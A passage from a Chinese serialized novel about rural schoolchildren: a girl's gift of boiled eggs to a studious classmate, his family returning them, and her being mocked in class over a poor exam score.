王文慧看着传家和王梦琴,嘴角露出一丝狡黠的微笑,然后对王梦琴说道:“梦琴,那我就先走啦,不等你喽!”说罢,她还调皮地朝着王梦清眨了眨眼,捂着嘴轻笑起来。 王梦琴朝着王文慧瞪了一眼,有些无奈地笑了笑,回应道:“嗯,你先走吧,我等下会追上你的!” 王文慧心领神会地挥了挥手,转身离去。 此时,路上的微风轻轻吹过,轻柔的风抚摸着传家和王梦琴的脸庞,仿佛也在为这两个少年之间的微妙氛围增添一丝温馨和浪漫。 沉默了好一会儿,李传家终于鼓起勇气开了口:“王梦琴,你以后别再给我鸡蛋了。你每天都把鸡蛋送给我,这真的不太合适。” 王梦琴一脸不以为然地说:“这有啥呀?我娘天天都要给我吃鸡蛋,可我根本就不喜欢吃啊!送给你又怎么啦?” 李传家的脸色变得有些严肃,他看着王梦琴说道:“王梦琴同学,不管你喜不喜欢吃,这鸡蛋都是你家里人给你的,你不应该随随便便就送给别人。而且,我也不需要你的施舍!” 说完,李传家竟然毫不犹豫地把那两个鸡蛋拿出来,递给了王梦琴。 王梦琴显然有些吃惊,她瞪大了眼睛看着那鸡蛋,问道:“你都没吃吗?” 李传家摇了摇头,解释道:“昨天那个我弟弟吃了,明天我会还给你的。你以后别再给我鸡蛋了!” 王梦琴有些气恼,气的把鸡蛋一股脑的往传家身上一丢……:“你不要拉倒!不要扔了便是!”说完她头也不回的气冲冲的离开了! 李传家眼疾手快的接住了那鸡蛋,看到险些就被摔破了的鸡蛋,觉得有些可惜,摇了摇头:“脾气怎么那么大,冲着鸡蛋发什么脾气!” 想着他又把那两个鸡蛋拿在手里看了看,想着:这么好的东西她居然还给扔了,真是暴遣天物!既然她不要,带回家去好了! 这时,王梦琴一边用手揉着眼睛,一边抽抽搭搭地朝着家的方向跑去。她的步伐显得有些踉跄,仿佛内心充满了无尽的委屈和难过。 王文慧见状,连忙快步追上去,关切地问道:“王梦琴,你这是怎么了?是不是李传家那小子他欺负你了?” 王梦琴停下脚步,抬起头来,泪眼朦胧地看着王文慧,轻轻摇了摇头,说道:“不是,他没有欺负我……” “那到底是怎么回事啊?你快告诉我!”王文慧焦急地追问。 王梦琴犹豫了一下,终于还是把事情的经过一五一十地说了出来:“他……他把我送给他的鸡蛋又还给我了!还说让我以后都不要给他送鸡蛋了。” “什么?你还送给他鸡蛋?”王文慧惊讶地瞪大了眼睛。 王梦琴点了点头,委屈地说道:“我娘每天都会给我一个鸡蛋,我舍不得吃,就送给他了,而且,我今天还特意多拿了一个,他居然都不领情,还说那种话出来……” 王文慧忍不住叹了口气:“哎呀,哪儿有姑娘家主动给男孩子送东西的呀!你这也太主动了,说不定会把人家给吓坏了呢!” “啊?不会吧?”王梦清一脸惊愕地看着王文慧,显然对她的话感到十分意外。 王文慧见状,“噗嗤”一声笑了出来:“哈哈,逗你玩的啦!看你那副紧张的样子,真是可爱极了……” 王梦清一脸哀怨地看着王文慧,似乎对她的回答并不满意,追问道:“你就不能好好回答我的问题吗?我是真的想知道他到底明不明白我的心意啊!” 王文慧见状,不禁笑了起来,调侃道:“哟,瞧你这副样子,还真是思春了呢!” 王梦清一听,顿时羞红了脸,嗔怒地喊道:“好啊你,看我不打你……”说着便伸手去挠王文慧的痒痒,两人随即在路上追逐嬉闹起来,笑声此起彼伏。 与此同时,传家正拿着那碎花布包着的两个鸡蛋,缓缓地走回家中。他将鸡蛋放在灶台上,然后一屁股坐在了旁边的小板凳上,似乎有些疲惫。 秀兰从里屋走出来,看到灶台上的碎花布,满脸疑惑地问道:“这是啥东西啊?” 传家连头都没抬一下,随口答道:“鸡蛋呗。” 秀兰更加不解了,追问道:“哪来的鸡蛋啊?咱家的小鸡不都还没长大吗?” 传家有些不耐烦地挥了挥手,说道:“能吃就行了呗,你问那么多干啥!”说完他就起身回了房间! 传家回到房间后,秀兰拿起来那两个鸡蛋!发现居然还都是煮熟了的! 秀兰的心中充满了疑惑,传家究竟是从哪里弄来这些熟鸡蛋的呢?她不禁开始猜测,难道是云义给的吗? 过了一会儿,云义回到了家中。秀兰见到他,问道:“云义啊,是你给传家的鸡蛋吗?” 云义一脸茫然地摇了摇头,回答道:“什么鸡蛋?嫂子你想吃鸡蛋了吗?那我现在就去买!” 第163章 鸡蛋 秀兰连忙解释道:“不是我想吃,是传家今天突然带回来了两个鸡蛋,还是熟的呢!可他就是不肯告诉我这鸡蛋是从哪儿来的。” 就在这时,传诚从远处跑了过来,一眼就看到了放在灶台上的鸡蛋,兴奋地喊道:“娘,我要吃鸡蛋!” 秀兰一脸怒气地瞪着传诚,没好气儿地说道:“吃吃吃,一天到晚就知道吃!饿死鬼投胎的……” 传诚则委屈地嘟起了小嘴,嘟囔着:“你给二哥吃鸡蛋都不给我吃,偏心!” 秀兰一听这话,顿时火冒三丈,她提高了嗓门儿,反驳道:“我什么时候给你二哥吃过鸡蛋?咱家就那么几个鸡蛋,都留着给传美炖蛋羹呢!” 传诚却不依不饶,争辩道:“哼,昨日我明明看到了二哥吃了个鸡蛋!” 秀兰一听,心中的火气更旺了,她怒不可遏地喊道:“传业,你过来一下!” 传业听到母亲的呼喊声,他急忙放下手中的东西,急匆匆地跑了过去。 “娘,您找我有事儿?”传业一脸茫然地看着母亲。 秀兰一脸狐疑地看着传业,追问道:“我问你,传诚说你昨天吃了个鸡蛋,是从哪儿来的?” 传业被问得有些猝不及防,他不假思索,脱口而出道:“是大哥给我的啊!” 秀兰的眉头皱得更紧了,不禁有些疑惑:“你大哥?那你大哥又从哪儿来的鸡蛋啊?” 传业挠了挠头,努力回忆着当时的情景,然后小声嘀咕着:“好像是一个姑娘送给他的!” 秀兰满脸写满了惊讶,她急切地问道:“那你知道是哪个姑娘送的吗?” 传业挠了挠头,似乎在努力回忆着什么:“好像是王家村那边的,叫王什么清……” 云义一脸不解的看向秀兰,问道:“嫂子,你问那么清楚干什么啊?” 秀兰看着那两个鸡蛋,心中不禁感叹道:“现在能经常吃上鸡蛋的人家可不多啊,可若是别人父母知道了,突然找上门来,那得多丢人啊,为了这几个鸡蛋不值得!” 说着秀兰拿起那两个鸡蛋走进屋去,看着传家,微笑着问道:“传家,这鸡蛋……听说是个姑娘送你的?” 传家似乎没有预料到母亲竟会突然问起这个问题,他的脸上露出些许惊讶的表情。不过,他很快恢复了平静,回答道:“嗯,她是送我了,但是我不要!然后她就丢掉了,我看丢了可惜,就……拿回来了!您要是觉得这样不好,扔了就是了!” 说完,传家有些不自然地挠了挠头,眼神闪烁着。 这时,一旁的传诚突然跑进了传家的房间,嚷嚷道:“娘,你就给我吃一个鸡蛋嘛!” 秀兰想了想,丢了确实可惜!索性就分给孩子们吃了!为了避免不必要的麻烦,她第二天早上又煮了五个鸡蛋,特意叮嘱让传家拿去还给那个姑娘!毕竟无功不受禄,吃了别人家的鸡蛋也确实不太好意思! 传家小心翼翼地装好了那五个鸡蛋,去了学校。他的心情有些忐忑,不知道王梦琴会有怎样的反应,心中还带有一丝担忧,万一王梦琴不开心,再把娘煮的鸡蛋给扔掉了可怎么办。 当传家走进教室时,一眼就看到了坐在座位上的王梦琴。她似乎察觉到了传家的到来,故意扭过头去,装作生气的样子,完全不理会传家。 传家见状,心中不禁有些犹豫。他并没有因此而气馁,还是走到了王梦琴的座位前。 传家轻轻地把那几个鸡蛋放在了王梦琴的桌子上,然后默默地回到了自己的座位上,坐下来就开始看书。 王梦琴原本以为传家会跟她说些什么,或者解释一下为什么要给她鸡蛋。可是,当她看到传家只是放下鸡蛋就走回座位时,心里不禁有些失落。 她好奇地看了看那几个鸡蛋,发现它们竟然还是热乎乎的!显然,这是刚煮好没多久的鸡蛋。王梦琴心中突然泛起一丝喜悦,她觉得传家也送她东西了,这是不是意味着他对自己还是有一点好感的呢? 而且还是五颗鸡蛋,王梦琴的嘴角不由自主地露出了一丝微笑。她抬起头,望向传家,希望能和他的目光交汇。 然而,让王梦琴失望的是,传家此时正全神贯注地看着书,仿佛完全没有注意到她的眼神。 等到下学的时候,传业站在学校门口,静静地等待着传家一起回家。不一会儿,传家从教室里走了出来,兄弟俩相视一笑,然后并肩走在回家的路上。 正当他们边走边聊的时候,突然听到身后传来王梦琴的声音。 “李传家,谢谢你送我的鸡蛋!”王梦琴跑到他们面前,停下脚步,脸上露出一抹羞涩的笑容。 传家有些惊讶地看着她,说道:“谢我做什么,你也送给了我鸡蛋,我娘说,让我今天把鸡蛋还给你!” 王梦琴的脸色瞬间变得有些尴尬,她没想到传家会这样说。她原本以为这些鸡蛋是传家专门送给她的,心里还暗自高兴呢。 “你说什么?不是专门送给我的吗……”王梦琴的声音越来越小,带着一丝期待,弱弱的问道! 这时,传业在一旁插嘴道:“你要是这样理解也可以啊!反正就是给你的!” 王梦琴还没来得及说什么,传家和传业就已经一起转身,继续朝家的方向走去,只留下她一个人站在原地,望着他们渐行渐远的背影,心中有些失落。 就在这个时候,王文慧缓缓地走到了王梦琴的身旁,一脸狐疑地问道:“刚才你还像个孩子一样开心得手舞足蹈呢,怎么突然间就像变脸似的,又不开心了?还是因为他?” 王梦琴的眉头紧紧地皱了起来,似乎心中有无数的疑问和不解。她瞪大眼睛看着王文慧,语气有些激动地说:“文慧,你说,他为什么要再还给我两个鸡蛋呢?这到底是什么意思啊?” 王文慧被王梦琴的问题问得有些不知所措,她挠了挠头,思考了一会儿,然后无奈地回答道:“嗯……这个嘛,我也不是很明白呢……” 王梦琴听了王文慧的回答,心中的疑惑不但没有减少,反而愈发强烈了,但又想不明白。 带着那五个鸡蛋,王梦琴心事重重地回到了家中。一进门,她就像泄了气的皮球一样,把鸡蛋随手一扔,“砰”的一声,鸡蛋落在了桌上。 母亲听到声音,从厨房里走了出来,看到桌上的五个鸡蛋,惊讶地问道:“这……怎么有五个鸡蛋啊?” 王梦琴的脸色依然阴沉,她头也不抬地说:“以后每天都不要再给我鸡蛋了,我不喜欢吃了!”说完,她像逃避什么似的,转身快步走进了自己的房间,“砰”的一声关上了房门。 母亲站在原地,一脸茫然地看着那扇紧闭的房门,心里充满了疑惑:早上的时候,王梦琴还兴高采烈地说喜欢吃鸡蛋呢,怎么这会儿就突然变卦了呢?突然又说不喜欢了?真是奇怪,这孩子变化这么快的吗? 在接下来的一段时间里,王梦琴的目光总是有意无意地落在李传家的身上。她会偷偷观察他的一举一动,留意他的每一个表情和动作。然而,李传家似乎完全沉浸在学习中,对周围的一切都视而不见。 王梦琴感到有些无奈,她小声嘀咕着骂道:“这个木头脑袋,真是个傻子!”她不禁对李传家的冷漠感到有些生气,但同时也对自己的情感有些无奈。 就在这时,坐在王梦琴旁边的姚大海突然插话道:“你说谁木头脑袋呢?”王梦琴吓了一跳,她没想到自己的嘟囔竟然被姚大海听到了。 “我又没说你!”王梦琴有些不耐烦地回答道。 “说谁也不行啊!”姚大海不依不饶地说道。 王梦琴觉得姚大海有些多事,她没好气地回了一句:“狗拿耗子多管闲事!” “你说谁是狗?”姚大海显然被激怒了,他瞪大了眼睛看着王梦琴。 王梦琴白了他一眼,决定不再理会他。她的目光又不由自主地转向了李传家的方向,心里依然想着那个“木头脑袋”。 姚大海顺着王梦琴的眼神方向望去,叫她正一脸认真的望着传家,姚大海满脸不屑地看着王梦琴,语气充满嘲讽地说道:“你刚才是在骂李传家?他学习成绩那么好,你有什么资格说他是木头脑袋?我看你自己才是真正的木头吧!瞧瞧你那差劲的成绩,连猪可都比你聪明多了吧……” 他的话像一把利剑,直插王梦琴的心脏,让她的脸色瞬间变得难看。周围的同学们听到姚大海如此刻薄的言辞,都忍不住哄堂大笑起来,笑声像海浪一样在教室里回荡,而这每一声笑都如同针扎一般伤在王梦琴的心上。 王梦琴完全没有想到自己会在众目睽睽之下受到这样的羞辱,她的泪水像决堤的洪水一样奔涌而出,她急忙用手去擦拭,但眼泪却怎么也止不住。最后,她无法忍受这种被众人嘲笑的尴尬,转身飞快地跑出了教室。 李传家看着王梦琴离去的背影,心中有些不忍,他皱起眉头对姚大海说:“大海,你这样说别人是不是不太好啊?毕竟大家都是同学,这样会很伤她的自尊心的。” 姚大海却不以为然地摆了摆手,说道:“诶,我这可都是在帮你啊!她刚才可是在骂你,我当然要帮你回怼回去啦!我说她一句怎么了!这就受不了了,本来就是蠢的像猪嘛,次次成绩都不行,我猜这次考试的第一名还会是你!” 李传家连忙摆手说道:“你别这么说,你的成绩也不差呀!”他的声音中透露出一丝安慰和鼓励。 然而,姚大海却显得有些沮丧,他苦笑着回应道:“我自己什么水平我自己还不清楚吗?哪次考试你不是正好比我多那么几分啊!”他的话语中似乎带着些许无奈和自嘲。 就在两人交谈之际,老师夹着书本走进了教室,教室里顿时安静下来。老师站在讲台上,面带微笑地对同学们说:“同学们,请安静一下,今天我们来公布这次考试的成绩。” 老师的话音刚落,教室里就响起了一阵轻微的骚动,同学们都紧张地盯着老师,期待着自己的成绩被公布。 老师清了清嗓子,继续说道:“这次考试,有两位同学取得了满分的好成绩,他们是李佳华和李传家同学,让我们用热烈的掌声向他们表示祝贺!” 教室里顿时响起了雷鸣般的掌声,同学们纷纷向李佳华和李传家投去羡慕的目光。 老师接着说道:“还有一位同学,他的成绩非常接近满分,只相差了一分,这位同学就是姚大海同学。姚大海同学,下次考试可要再仔细一些哦,这一分丢得实在是太可惜了!” 听到老师的话,姚大海的脸上露出了一丝尴尬的笑容,他低下头,似乎有些不好意思。 老师最后开始念其他同学的成绩:“其他的各位同学,以后也要继续努力哦。王……86分,刘……93分……王文慧77分……王梦琴45分……” 此时,听到王梦琴分数的几个孩子哈哈大笑起来! 尤其是姚大海,他刚才骂过王梦琴还没猪聪明,成绩差的要死,偏偏又被公布了成绩,连合格线都达不到!此时的他笑的格外的得意! 老师拿着板擦敲了敲讲台:“安静安静!今天的试卷,所有人回去让家长签字,明天带过来交给我!”说完就走了出去! 姚大海一脸得意洋洋的样子,冲着王梦琴不停地吐着舌头,还故意压低声音,嘲讽地说道:“王笨猪……” 这一幕正好被一旁的王文慧看到,她实在是看不下去了,立刻站出来为王梦琴打抱不平:“姚大海,你这样做有意思吗?干嘛要欺负梦琴啊?” 说完,王文慧还把矛头指向了坐在旁边的李传家,没好气地说:“还有你,一天到晚就知道看书学习,难道你看不出来梦琴她喜欢……”